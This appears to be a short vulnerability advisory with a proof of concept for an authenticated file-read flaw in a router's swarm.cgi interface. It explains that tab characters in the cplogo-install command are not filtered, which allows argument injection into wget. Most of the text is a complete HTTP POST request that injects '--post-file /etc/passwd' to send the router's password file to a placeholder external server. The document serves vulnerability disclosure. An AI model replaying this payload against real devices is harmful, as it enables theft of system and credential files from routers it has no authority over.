An authenticated attacker can read arbitrary files from the router and send them to a remote server. The issue is within the handler for the cplogo-install CLI command. The handler for the command will not filter %09(tab) characters from the param, which can cause parameter injection into wget call.
POST /swarm.cgi HTTP/1.1
Host: IP:4343
.......
.......
Cookie: sid=XXXXXXXXXXXXXXXXXXXX; login=undefined; password=undefined; userType=admin
opcode=config&ip=127.0.0.1&cmd='end%20%0Aapply%20cplogo-install%20"http://EXTERNAL-IP/backup.cfg%09--post-file%09/etc/passwd%09#"'&refresh=false&sid=XXXXXXXXXXXXXXXXXXXX&nocache=0.23759201691110987&=&=